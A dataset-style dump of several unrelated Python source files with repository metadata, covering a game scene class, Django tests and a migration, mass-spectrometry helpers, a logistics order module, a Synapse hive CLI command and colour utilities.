from .rtree import RTree from .utils import Point # EXPORT class Scene(object): def __init__(self): self.entities = {} self.dynamics = set() self.statics = set() self.rtree = RTree() def add(self, entity): eid = entity.get_id() self.entities[eid] = entity if entity.is_dynamic: self.dynamics.add(eid) else: self.statics.add(eid) r = entity.get_rect() # self.rtree.add(eid, r) def advance(self, dt): ids = set(self.dynamics) # Copy to allow deletions for eid in ids: e = self.entities.get(eid) before = e.get_rect() if not e.advance(dt): # self.rtree.remove(eid) self.dynamics.remove(eid) del self.entities[eid] else: after = e.get_rect() if before != after: self.check_collisions(e, after) after = e.get_rect() # self.rtree.move(e.get_id(), after) def draw(self, view): # visible = self.rtree.search(view.get_rect()) # vis_id = [v[0] for v in visible] # ids = [eid for eid in vis_id if eid in self.statics] # ids.extend([eid for eid in vis_id if eid not in self.statics]) ids = list(self.statics) + list(self.dynamics) for eid in ids: e = self.entities.get(eid) if e: e.draw(view) def check_collisions(self, entity, rect): return eid = entity.get_id() spr1 = entity.anim.get_current_sprite() cands = self.rtree.search(rect) for (cand_id, cand_rect) in cands: if cand_id != eid: cand = self.entities.get(cand_id) spr2 = cand.anim.get_current_sprite() offset = cand.get_position() - entity.get_position() ox = int(offset.x) oy = int(offset.y) pt = spr1.mask.overlap(spr2.mask, Point(ox, oy)) if pt: dx, dy = pt.x, pt.y entity.collision(cand, Point(dx, dy)) cand.collision(entity, Point(dx - ox, dy - oy))
33.58209
72
0.509333
2,188
0.972444
0
0
0
0
0
0
315
0.14
d555ba2edd936b2db086f718b541516f58f3e05b
1,192
py
Python
tests/test_pages/test_views.py
wilfredinni/merken
f15f168f58e9391fcafeeda7ad17232fffab2a14
[ "MIT" ]
5
2020-05-06T03:34:07.000Z
2022-03-25T10:05:30.000Z
tests/test_pages/test_views.py
MaxCodeXTC/merken
040515e43dcc9bdcf23f51ea15b49b4d2af64964
[ "MIT" ]
17
2019-08-28T22:10:47.000Z
2021-06-09T18:19:00.000Z
tests/test_pages/test_views.py
MaxCodeXTC/merken
040515e43dcc9bdcf23f51ea15b49b4d2af64964
[ "MIT" ]
1
2020-06-15T08:34:16.000Z
2020-06-15T08:34:16.000Z
from django.test import TestCase, Client from django.urls import reverse from apps.pages.models import Page class TestPageView(TestCase): def setUp(self): self.client = Client() Page.objects.create(slug="test_slug") def test_page_GET(self): url = reverse("page_app:page", args=["test_slug"]) response = self.client.get(url) self.assertEqual(response.status_code, 200) self.assertTemplateUsed(response, "merken/pages/page.html") def test_page_404(self): url = reverse("page_app:page", args=["wrong_page"]) response = self.client.get(url) self.assertEqual(response.status_code, 404) class TestIndexView(TestCase): def setUp(self): self.client = Client() def test_index_GET(self): Page.objects.create(slug="index") url = reverse("page_app:index") response = self.client.get(url) self.assertEqual(response.status_code, 200) self.assertTemplateUsed(response, "merken/pages/index.html") def test_index_404(self): url = reverse("page_app:index") response = self.client.get(url) self.assertEqual(response.status_code, 404)
30.564103
68
0.666946
1,077
0.903523
0
0
0
0
0
0
152
0.127517
d556e06f516793a26ef5cbe49151f9799ff8daf6
1,148
py
Python
sequal/mass_spectrometry.py
bschulzlab/glypniro
383429932cda2f6cc8b70be57a954de9b9c0f6d4
[ "MIT" ]
1
2021-03-08T13:29:17.000Z
2021-03-08T13:29:17.000Z
sequal/mass_spectrometry.py
bschulzlab/glypniro
383429932cda2f6cc8b70be57a954de9b9c0f6d4
[ "MIT" ]
null
null
null
sequal/mass_spectrometry.py
bschulzlab/glypniro
383429932cda2f6cc8b70be57a954de9b9c0f6d4
[ "MIT" ]
null
null
null
from sequal.ion import Ion ax = "ax" by = "by" cz = "cz" # calculate non-labile modifications and yield associated transition # For example "by" would yield a tuple of "b" and "y" transitions. def fragment_non_labile(sequence, fragment_type): for i in range(1, sequence.seq_length, 1): left = Ion(sequence[:i], fragment_number=i, ion_type=fragment_type[0]) right = Ion(sequence[i:], fragment_number=sequence.seq_length-i, ion_type=fragment_type[1]) yield left, right # calculate all labile modification variants for the sequence and its associated labile modifications def fragment_labile(sequence): fragment_number = 0 for p in sequence.mods: for i in sequence.mods[p]: if i.labile: fragment_number += i.labile_number return Ion(sequence, fragment_number=fragment_number, ion_type="Y") class FragmentFactory: def __init__(self, fragment_type, ignore=None): self.fragment_type = fragment_type if ignore: self.ignore = ignore else: self.ignore = [] def set_ignore(self, ignore): self.ignore = ignore
30.210526
101
0.678571
276
0.240418
301
0.262195
0
0
0
0
250
0.21777
d55772963e28794e8a087234f1d656d1c4c7b7a0
444
py
Python
scapula/transform/encoded_rt_to_r9.py
fengjixuchui/scapula
0ca411d8571622a6f7411bf423c3b662030e550b
[ "MIT" ]
7
2019-10-11T17:35:00.000Z
2020-04-06T00:51:18.000Z
scapula/transform/encoded_rt_to_r9.py
fengjixuchui/scapula
0ca411d8571622a6f7411bf423c3b662030e550b
[ "MIT" ]
null
null
null
scapula/transform/encoded_rt_to_r9.py
fengjixuchui/scapula
0ca411d8571622a6f7411bf423c3b662030e550b
[ "MIT" ]
3
2019-10-12T01:51:20.000Z
2019-11-12T15:15:37.000Z
import shoulder class EncodedRtToR9(shoulder.transform.abstract_transform.AbstractTransform): @property def description(self): d = "changing src/dest register for encoded accessors from r0 to r9" return d def do_transform(self, reg): for am in reg.access_mechanisms["mrs_register"]: am.rt = 9 for am in reg.access_mechanisms["msr_register"]: am.rt = 9 return reg
24.666667
77
0.650901
425
0.957207
0
0
130
0.292793
0
0
92
0.207207
d557f1cb2328fe8b59c23cb0bcb3af7a0541259f
1,642
py
Python
model/user.py
fi-ksi/dashboard-alpha
aaa800d02f78f198a95faf27af2bc8afeca4b867
[ "MIT" ]
null
null
null
model/user.py
fi-ksi/dashboard-alpha
aaa800d02f78f198a95faf27af2bc8afeca4b867
[ "MIT" ]
24
2019-05-14T19:13:38.000Z
2022-03-14T10:51:55.000Z
model/user.py
fi-ksi/dashboard-alpha
aaa800d02f78f198a95faf27af2bc8afeca4b867
[ "MIT" ]
null
null
null
import datetime from sqlalchemy import Column, Integer, String, Boolean, Enum, Text, text from sqlalchemy.types import TIMESTAMP from sqlalchemy.orm import relationship from sqlalchemy.ext.hybrid import hybrid_property from . import Base class User(Base): __tablename__ = 'users' __table_args__ = { 'mysql_engine': 'InnoDB', 'mysql_charset': 'utf8mb4' } id = Column(Integer, primary_key=True) email = Column(String(50), nullable=False, unique=True) phone = Column(String(15)) first_name = Column(String(50), nullable=False) nick_name = Column(String(50)) last_name = Column(String(50), nullable=False) sex = Column(Enum('male', 'female'), nullable=False) password = Column(String(255), nullable=False) short_info = Column(Text, nullable=False) profile_picture = Column(String(255)) role = Column( Enum('admin', 'org', 'participant', 'participant_hidden', 'tester'), nullable=False, default='participant', server_default='participant') enabled = Column(Boolean, nullable=False, default=True, server_default='1') registered = Column(TIMESTAMP, nullable=False, default=datetime.datetime.utcnow, server_default=text('CURRENT_TIMESTAMP')) @hybrid_property def name(self): return self.first_name + ' ' + self.last_name tasks = relationship('Task', primaryjoin='User.id == Task.author') evaluations = relationship('Evaluation', primaryjoin='User.id == Evaluation.user') def __str__(self): return self.name __repr__ = __str__
34.208333
79
0.665043
1,399
0.85201
0
0
90
0.054811
0
0
241
0.146772
d55801396ba40004f6ae580dd0df2cf475baa674
4,999
py
Python
order.py
bogdanmagometa/logistics-system
8c69c29f23354c37dddec299eaa7031092430daf
[ "MIT" ]
null
null
null
order.py
bogdanmagometa/logistics-system
8c69c29f23354c37dddec299eaa7031092430daf
[ "MIT" ]
null
null
null
order.py
bogdanmagometa/logistics-system
8c69c29f23354c37dddec299eaa7031092430daf
[ "MIT" ]
null
null
null
""" order.py This module contains classes needed for emulating logistics system. In particular, the following classes are here: Item Vehicle Order Location """ import copy from typing import List class Item: """A class used to represent an item for logistics system. Attributes ---------- name : str a name of the item, e.g. book, letter, TV, cookie price : float the price of an item in UAH """ def __init__(self, name: str, price: float) -> None: """Initialize Item with name and price (in UAH). >>> item = Item("phone", 5123.4567) >>> item.name 'phone' >>> item.price 5123.4567 """ self.name = name self.price = price def __str__(self) -> str: """Return human-readable representation of the order. >>> item = Item("shoes", 240) >>> print(item) shoes """ return self.name class Vehicle: """A class user to represent Vehicles for logistics system. Attributes ---------- vehicle_no : int number of vehicle is_available : bool tells if a vehicle is available for delivering """ def __init__(self, vehicle_no: int) -> None: """Initialize Vehicle with vehicle number.""" self.vehicle_no = vehicle_no self.is_available = True class Order: """A class used to represent an order in logistics system. Attributes ---------- user_name : str the name of the user who created the order city : str the city of destination postoffice : int the postoffice number of Ukrposhta in the city items : list of items items listed in the order location : Location location of destination point vehicle : Vehicle vehicle for delivery of the item """ num_orders_created = 0 def __init__(self, user_name: str, city: str, postoffice: int, items: List[Item]) -> None: """Initialize order with name of user, delivery city, postoffice, and items to deliver. >>> order = Order("Bohdan", "Stryi", 2, ... [Item('Arduino',120), Item("ESP32-CAM",200), Item("Raspberri Pi Zero",1100)]) Your order number is 0. >>> isinstance(order.location, Location) True >>> order.vehicle >>> order.user_name 'Bohdan' >>> order.location.city 'Stryi' >>> order.location.postoffice 2 >>> all(map(lambda x: isinstance(x, Item), order.items)) True """ self.order_id = Order.num_orders_created self.user_name = user_name self.location = Location(city, postoffice) self.items = copy.copy(items) self.vehicle = None Order.num_orders_created += 1 print(f"Your order number is {self.order_id}.") def __str__(self) -> str: """Return human-readable represenation of an order. >>> order = Order("Ivan", "Kyiv", "42", ['computer']) Your order number is 1. >>> print(order) The order #1 by Ivan to city Kyiv, postoffice 42. The item is computer. """ text = f"The order #{self.order_id} by {self.user_name} to city {self.location.city}, post\ office {self.location.postoffice}." if self.items: text += " The item" if len(self.items) == 1: return text + f" is {self.items[0]}." return text + f"s are {', '.join(map(str, self.items))}." return text def calculate_amount(self) -> float: """Return total cost of each Item (in UAH). >>> order = Order("Bohdan", "Stryi", "2", ... [Item('Arduino',120), Item("ESP32-CAM",200), ... Item("Raspberri Pi Zero",1100)]) #doctest: +ELLIPSIS Your order number is .... >>> order.calculate_amount() 1420 """ return sum(item.price for item in self.items) def assign_vehicle(self, vehicle: Vehicle) -> None: """Assign a vehicle to an order. >>> order = Order("Oksana", "Zhytomyr", 5, [Item("cap", 100)]) #doctest: +ELLIPSIS Your order number is .... >>> vehicle = Vehicle(213) >>> order.assign_vehicle(vehicle) >>> order.vehicle.vehicle_no 213 """ self.vehicle = vehicle class Location: """A class used to represent a location in logistics system. Attributes ---------- city : str city of the location postoffice : int number of postoffice of Ukrposhta in city """ def __init__(self, city: str, postoffice: int) -> None: """Initialize location with delivery city and postoffice. >>> location = Location("Nezhukhiv", 1) >>> location.city 'Nezhukhiv' >>> location.postoffice 1 """ self.city = city self.postoffice = postoffice if __name__ == "__main__": import doctest doctest.testmod()
27.927374
99
0.576715
4,719
0.943989
0
0
0
0
0
0
3,570
0.714143
d55a7d09487a4d342d812df22a9da92debc35a70
28
py
Python
homeassistant/components/ripple/__init__.py
domwillcode/home-assistant
f170c80bea70c939c098b5c88320a1c789858958
[ "Apache-2.0" ]
30,023
2016-04-13T10:17:53.000Z
2020-03-02T12:56:31.000Z
homeassistant/components/ripple/__init__.py
jagadeeshvenkatesh/core
1bd982668449815fee2105478569f8e4b5670add
[ "Apache-2.0" ]
31,101
2020-03-02T13:00:16.000Z
2022-03-31T23:57:36.000Z
homeassistant/components/ripple/__init__.py
jagadeeshvenkatesh/core
1bd982668449815fee2105478569f8e4b5670add
[ "Apache-2.0" ]
11,956
2016-04-13T18:42:31.000Z
2020-03-02T09:32:12.000Z
"""The ripple component."""
14
27
0.642857
0
0
0
0
0
0
0
0
27
0.964286
d55a7fec2efd8d806f3e68ef5a593dad286e8eeb
8,362
py
Python
synapse/cmds/hive.py
ackroute/synapse
51197f89ab372d2e357bcd054358352ecca66840
[ "Apache-2.0" ]
216
2017-01-17T18:52:50.000Z
2022-03-31T18:44:49.000Z
synapse/cmds/hive.py
ackroute/synapse
51197f89ab372d2e357bcd054358352ecca66840
[ "Apache-2.0" ]
2,189
2017-01-17T22:31:48.000Z
2022-03-31T20:41:45.000Z
synapse/cmds/hive.py
ackroute/synapse
51197f89ab372d2e357bcd054358352ecca66840
[ "Apache-2.0" ]
44
2017-01-17T16:50:57.000Z
2022-03-16T18:35:52.000Z
import os import json import shlex import pprint import asyncio import tempfile import functools import subprocess import synapse.exc as s_exc import synapse.common as s_common import synapse.lib.cmd as s_cmd import synapse.lib.cli as s_cli ListHelp = ''' Lists all the keys underneath a particular key in the hive. Syntax: hive ls|list [path] Notes: If path is not specified, the root is listed. ''' GetHelp = ''' Display or save to file the contents of a key in the hive. Syntax: hive get [--file] [--json] {path} ''' DelHelp = ''' Deletes a key in the cell's hive. Syntax: hive rm|del {path} Notes: Delete will recursively delete all subkeys underneath path if they exist. ''' EditHelp = ''' Edits or creates a key in the cell's hive. Syntax: hive edit|mod {path} [--string] ({value} | --editor | -f {filename}) Notes: One may specify the value directly on the command line, from a file, or use an editor. For the --editor option, the environment variable VISUAL or EDITOR must be set. ''' class HiveCmd(s_cli.Cmd): ''' Manipulates values in a cell's Hive. A Hive is a hierarchy persistent storage mechanism typically used for configuration data. ''' _cmd_name = 'hive' _cmd_syntax = ( ('line', {'type': 'glob'}), # type: ignore ) def _make_argparser(self): parser = s_cmd.Parser(prog='hive', outp=self, description=self.__doc__) subparsers = parser.add_subparsers(title='subcommands', required=True, dest='cmd', parser_class=functools.partial(s_cmd.Parser, outp=self)) parser_ls = subparsers.add_parser('list', aliases=['ls'], help="List entries in the hive", usage=ListHelp) parser_ls.add_argument('path', nargs='?', help='Hive path') parser_get = subparsers.add_parser('get', help="Get any entry in the hive", usage=GetHelp) parser_get.add_argument('path', help='Hive path') parser_get.add_argument('-f', '--file', default=False, action='store', help='Save the data to a file.') parser_get.add_argument('--json', default=False, action='store_true', help='Emit output as json') parser_rm = subparsers.add_parser('del', aliases=['rm'], help='Delete a key in the hive', usage=DelHelp) parser_rm.add_argument('path', help='Hive path') parser_edit = subparsers.add_parser('edit', aliases=['mod'], help='Sets/creates a key', usage=EditHelp) parser_edit.add_argument('--string', action='store_true', help="Edit value as a single string") parser_edit.add_argument('path', help='Hive path') group = parser_edit.add_mutually_exclusive_group(required=True) group.add_argument('value', nargs='?', help='Value to set') group.add_argument('--editor', default=False, action='store_true', help='Opens an editor to set the value') group.add_argument('--file', '-f', help='Copies the contents of the file to the path') return parser async def runCmdOpts(self, opts): line = opts.get('line') if line is None: self.printf(self.__doc__) return core = self.getCmdItem() try: opts = self._make_argparser().parse_args(shlex.split(line)) except s_exc.ParserExit: return handlers = { 'list': self._handle_ls, 'ls': self._handle_ls, 'del': self._handle_rm, 'rm': self._handle_rm, 'get': self._handle_get, 'edit': self._handle_edit, 'mod': self._handle_edit, } await handlers[opts.cmd](core, opts) @staticmethod def parsepath(path): ''' Turn a slash-delimited path into a list that hive takes ''' return path.split('/') async def _handle_ls(self, core, opts): path = self.parsepath(opts.path) if opts.path is not None else None keys = await core.listHiveKey(path=path) if keys is None: self.printf('Path not found') return for key in keys: self.printf(key) async def _handle_get(self, core, opts): path = self.parsepath(opts.path) valu = await core.getHiveKey(path) if valu is None: self.printf(f'{opts.path} not present') return if opts.json: prend = json.dumps(valu, indent=4, sort_keys=True) rend = prend.encode() elif isinstance(valu, str): rend = valu.encode() prend = valu elif isinstance(valu, bytes): rend = valu prend = pprint.pformat(valu) else: rend = json.dumps(valu, indent=4, sort_keys=True).encode() prend = pprint.pformat(valu) if opts.file: with s_common.genfile(opts.file) as fd: fd.truncate(0) fd.write(rend) self.printf(f'Saved the hive entry [{opts.path}] to {opts.file}') return self.printf(f'{opts.path}:\n{prend}') async def _handle_rm(self, core, opts): path = self.parsepath(opts.path) await core.popHiveKey(path) async def _handle_edit(self, core, opts): path = self.parsepath(opts.path) if opts.value is not None: if opts.value[0] not in '([{"': data = opts.value else: data = json.loads(opts.value) await core.setHiveKey(path, data) return elif opts.file is not None: with open(opts.file) as fh: s = fh.read() if len(s) == 0: self.printf('Empty file. Not writing key.') return data = s if opts.string else json.loads(s) await core.setHiveKey(path, data) return editor = os.getenv('VISUAL', (os.getenv('EDITOR', None))) if editor is None or editor == '': self.printf('Environment variable VISUAL or EDITOR must be set for --editor') return tnam = None try: with tempfile.NamedTemporaryFile(mode='w', delete=False) as fh: old_valu = await core.getHiveKey(path) if old_valu is not None: if opts.string: if not isinstance(old_valu, str): self.printf('Existing value is not a string, therefore not editable as a string') return data = old_valu else: try: data = json.dumps(old_valu, indent=4, sort_keys=True) except (ValueError, TypeError): self.printf('Value is not JSON-encodable, therefore not editable.') return fh.write(data) tnam = fh.name while True: retn = subprocess.call(f'{editor} {tnam}', shell=True) if retn != 0: # pragma: no cover self.printf('Editor failed with non-zero code. Aborting.') return with open(tnam) as fh: rawval = fh.read() if len(rawval) == 0: # pragma: no cover self.printf('Empty file. Not writing key.') return try: valu = rawval if opts.string else json.loads(rawval) except json.JSONDecodeError as e: # pragma: no cover self.printf(f'JSON decode failure: [{e}]. Reopening.') await asyncio.sleep(1) continue # We lose the tuple/list distinction in the telepath round trip, so tuplify everything to compare if (opts.string and valu == old_valu) or (not opts.string and s_common.tuplify(valu) == old_valu): self.printf('Valu not changed. Not writing key.') return await core.setHiveKey(path, valu) break finally: if tnam is not None: os.unlink(tnam)
35.2827
118
0.556565
7,321
0.875508
0
0
141
0.016862
5,132
0.613729
2,218
0.265248
d55b66f29d249e5be6c857b36e678994e5a67ff0
1,888
py
Python
bfmplot/colortools.py
benmaier/bfmplot
e5af40c8a90862cdb443438f0bd343bb8de5f44c
[ "MIT" ]
3
2020-07-17T15:19:48.000Z
2020-08-08T23:35:48.000Z
bfmplot/colortools.py
benmaier/bfmplot
e5af40c8a90862cdb443438f0bd343bb8de5f44c
[ "MIT" ]
null
null
null
bfmplot/colortools.py
benmaier/bfmplot
e5af40c8a90862cdb443438f0bd343bb8de5f44c
[ "MIT" ]
1
2020-10-22T12:59:58.000Z
2020-10-22T12:59:58.000Z
""" Contains methods to convert hex colors to rgb colors and to brighten/darken colors. """ import numpy as np def h2r(_hex): """ Convert a hex string to an RGB-tuple. """ if _hex.startswith('#'): l = _hex[1:] else: l = _hex return [ a/255. for a in bytes.fromhex(l) ] def r2h(rgb): """ Convert an RGB-tuple to a hex string. """ return '#%02x%02x%02x' % tuple([ int(a*255) for a in rgb ]) def tohex(color): """ Convert any color to its hex string. """ if type(color) == str: if len(color) in (6, 7): try: h2r(color) return color except: pass try: return hex_colors[color] except KeyError as e: raise ValueError("unknown color: '" + color +"'") elif type(color) in (list, tuple, np.ndarray) and len(color) == 3: return r2h(color) else: raise ValueError("Don't know how to interpret color " + str(color)) def torgb(color): """ Convert any color to an rgb tuple. """ if type(color) == str: if len(color) in (6, 7): try: return h2r(color) except: pass try: return colors[color] except KeyError as e: raise ValueError("unknown color: '" + str(color) +"'") elif type(color) in (list, tuple, np.ndarray) and len(color) == 3: return color else: raise ValueError("Don't know how to interpret color " + str(color)) def brighter(rgb,base=2): """ Make the color (rgb-tuple) a tad brighter. """ _rgb = tuple([ a**(1/base) for a in torgb(rgb) ]) return _rgb def darker(rgb,base=2): """ Make the color (rgb-tuple) a tad darker. """ _rgb = tuple([ (a)**base for a in torgb(rgb) ]) return _rgb
23.6
75
0.528072
0
0
0
0
0
0
0
0
545
0.288665
d55ba82230322a219b1f4cd74baae15cd90185fa
13,815
py
Python
newscout_web/news_site/migrations/0002_auto_20190819_1230.py
rsqwerty/newscout_web
8be095cc3e1a95d6ccf5cd8c43d3f13746b263f2
[ "Apache-2.0" ]
3
2019-10-30T07:15:59.000Z
2021-12-26T20:59:05.000Z
newscout_web/news_site/migrations/0002_auto_20190819_1230.py
rsqwerty/newscout_web
8be095cc3e1a95d6ccf5cd8c43d3f13746b263f2
[ "Apache-2.0" ]
322
2019-10-30T07:12:36.000Z
2022-02-10T10:55:32.000Z
newscout_web/news_site/migrations/0002_auto_20190819_1230.py
rsqwerty/newscout_web
8be095cc3e1a95d6ccf5cd8c43d3f13746b263f2
[ "Apache-2.0" ]
7
2019-10-30T13:34:54.000Z
2021-12-27T12:08:07.000Z
# -*- coding: utf-8 -*- # Generated by Django 1.11.4 on 2019-08-19 12:30 from __future__ import unicode_literals from django.conf import settings import django.contrib.auth.validators import django.core.validators from django.db import migrations, models import django.db.models.deletion import django.utils.timezone class Migration(migrations.Migration): dependencies = [ ('news_site', '0001_initial'), ] operations = [ migrations.CreateModel( name='AdGroup', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('created_at', models.DateTimeField(auto_now_add=True, verbose_name='Created At')), ('modified_at', models.DateTimeField(auto_now=True, verbose_name='Last Modified At')), ('is_active', models.BooleanField(default=True)), ], options={ 'abstract': False, }, ), migrations.CreateModel( name='AdType', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('created_at', models.DateTimeField(auto_now_add=True, verbose_name='Created At')), ('modified_at', models.DateTimeField(auto_now=True, verbose_name='Last Modified At')), ('type', models.CharField(max_length=100)), ], options={ 'abstract': False, }, ), migrations.CreateModel( name='Advertisement', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('created_at', models.DateTimeField(auto_now_add=True, verbose_name='Created At')), ('modified_at', models.DateTimeField(auto_now=True, verbose_name='Last Modified At')), ('ad_text', models.CharField(max_length=160)), ('ad_url', models.URLField()), ('media', models.ImageField(blank=True, null=True, upload_to='')), ('is_active', models.BooleanField(default=True)), ('impsn_limit', models.IntegerField(default=0)), ('delivered', models.IntegerField(default=0)), ('click_count', models.IntegerField(default=0)), ('ad_type', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='news_site.AdType')), ('adgroup', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='news_site.AdGroup')), ], options={ 'abstract': False, }, ), migrations.CreateModel( name='Campaign', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('created_at', models.DateTimeField(auto_now_add=True, verbose_name='Created At')), ('modified_at', models.DateTimeField(auto_now=True, verbose_name='Last Modified At')), ('name', models.CharField(max_length=160)), ('is_active', models.BooleanField(default=True)), ('daily_budget', models.DecimalField(blank=True, decimal_places=2, max_digits=8, null=True)), ('max_bid', models.DecimalField(blank=True, decimal_places=2, max_digits=8, null=True)), ('start_date', models.DateTimeField()), ('end_date', models.DateTimeField()), ], options={ 'abstract': False, }, ), migrations.CreateModel( name='CategoryAssociation', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('child_cat', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='child_category', to='news_site.Category')), ('parent_cat', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='parent_category', to='news_site.Category')), ], ), migrations.CreateModel( name='CategoryDefaultImage', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('default_image_url', models.URLField()), ('category', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='news_site.Category')), ], ), migrations.CreateModel( name='DailyDigest', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('created_at', models.DateTimeField(auto_now_add=True, verbose_name='Created At')), ('modified_at', models.DateTimeField(auto_now=True, verbose_name='Last Modified At')), ], options={ 'abstract': False, }, ), migrations.CreateModel( name='Devices', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('device_name', models.CharField(blank=True, max_length=255, null=True)), ('device_id', models.CharField(blank=True, max_length=255, null=True)), ], ), migrations.CreateModel( name='Menu', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('name', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='news_site.Category')), ], ), migrations.CreateModel( name='Notification', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('breaking_news', models.BooleanField(default=False)), ('daily_edition', models.BooleanField(default=False)), ('personalized', models.BooleanField(default=False)), ('device', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='news_site.Devices')), ], ), migrations.CreateModel( name='ScoutedItem', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('title', models.CharField(max_length=255)), ('url', models.URLField(default='http://nowhe.re')), ('category', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='news_site.Category')), ], ), migrations.CreateModel( name='ScoutFrontier', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('url', models.URLField(default='http://nowhe.re')), ('category', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='news_site.Category')), ], ), migrations.CreateModel( name='SocialAccount', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('provider', models.CharField(max_length=200)), ('social_account_id', models.CharField(max_length=200)), ('image_url', models.CharField(blank=True, max_length=250, null=True)), ], options={ 'verbose_name_plural': 'Social Accounts', }, ), migrations.CreateModel( name='SubMenu', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('hash_tags', models.ManyToManyField(to='news_site.HashTag')), ('name', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='news_site.Category')), ], ), migrations.CreateModel( name='TrendingArticle', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('created_at', models.DateTimeField(auto_now_add=True, verbose_name='Created At')), ('modified_at', models.DateTimeField(auto_now=True, verbose_name='Last Modified At')), ('active', models.BooleanField(default=True)), ('score', models.FloatField(default=0.0)), ], options={ 'abstract': False, }, ), migrations.CreateModel( name='TrendingHashTag', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('name', models.CharField(max_length=255)), ], ), migrations.RemoveField( model_name='subcategory', name='category', ), migrations.RemoveField( model_name='article', name='industry', ), migrations.RemoveField( model_name='article', name='sub_category', ), migrations.AddField( model_name='article', name='edited_by', field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL), ), migrations.AddField( model_name='article', name='edited_on', field=models.DateTimeField(auto_now=True), ), migrations.AddField( model_name='article', name='indexed_on', field=models.DateTimeField(default=django.utils.timezone.now), ), migrations.AddField( model_name='article', name='manually_edit', field=models.BooleanField(default=False), ), migrations.AddField( model_name='article', name='spam', field=models.BooleanField(default=False), ), migrations.AddField( model_name='articlemedia', name='video_url', field=models.TextField(blank=True, null=True, validators=[django.core.validators.URLValidator()]), ), migrations.AlterField( model_name='article', name='category', field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to='news_site.Category'), ), migrations.AlterField( model_name='article', name='cover_image', field=models.TextField(validators=[django.core.validators.URLValidator()]), ), migrations.AlterField( model_name='article', name='source_url', field=models.TextField(validators=[django.core.validators.URLValidator()]), ), migrations.AlterField( model_name='articlemedia', name='url', field=models.TextField(blank=True, null=True, validators=[django.core.validators.URLValidator()]), ), migrations.AlterField( model_name='userprofile', name='passion', field=models.ManyToManyField(blank=True, to='news_site.HashTag'), ), migrations.AlterField( model_name='userprofile', name='username', field=models.CharField(error_messages={'unique': 'A user with that username already exists.'}, help_text='Required. 150 characters or fewer. Letters, digits and @/./+/-/_ only.', max_length=150, unique=True, validators=[django.contrib.auth.validators.UnicodeUsernameValidator()], verbose_name='username'), ), migrations.DeleteModel( name='Industry', ), migrations.DeleteModel( name='SubCategory', ), migrations.AddField( model_name='trendingarticle', name='articles', field=models.ManyToManyField(to='news_site.Article'), ), migrations.AddField( model_name='socialaccount', name='user', field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL), ), migrations.AddField( model_name='menu', name='submenu', field=models.ManyToManyField(to='news_site.SubMenu'), ), migrations.AddField( model_name='devices', name='user', field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL), ), migrations.AddField( model_name='dailydigest', name='articles', field=models.ManyToManyField(to='news_site.Article'), ), migrations.AddField( model_name='dailydigest', name='device', field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='news_site.Devices'), ), migrations.AddField( model_name='adgroup', name='campaign', field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='news_site.Campaign'), ), migrations.AddField( model_name='adgroup', name='category', field=models.ManyToManyField(to='news_site.Category'), ), ]
44.708738
317
0.573941
13,494
0.976764
0
0
0
0
0
0
2,354
0.170394
d55c43761228c894fc64e5f30843f83b9761d7c9
658
py
Python
Redeye(1.1).py
AkshayraviC09YC47/R3DEY3
05c2e47740263b22b5fb0fcc4cff89566a950209
[ "Apache-2.0" ]
1
2020-07-07T16:18:47.000Z
2020-07-07T16:18:47.000Z
Redeye(1.1).py
AkshayraviC09YC47/R3DEY3
05c2e47740263b22b5fb0fcc4cff89566a950209
[ "Apache-2.0" ]
null
null
null
Redeye(1.1).py
AkshayraviC09YC47/R3DEY3
05c2e47740263b22b5fb0fcc4cff89566a950209
[ "Apache-2.0" ]
null
null
null
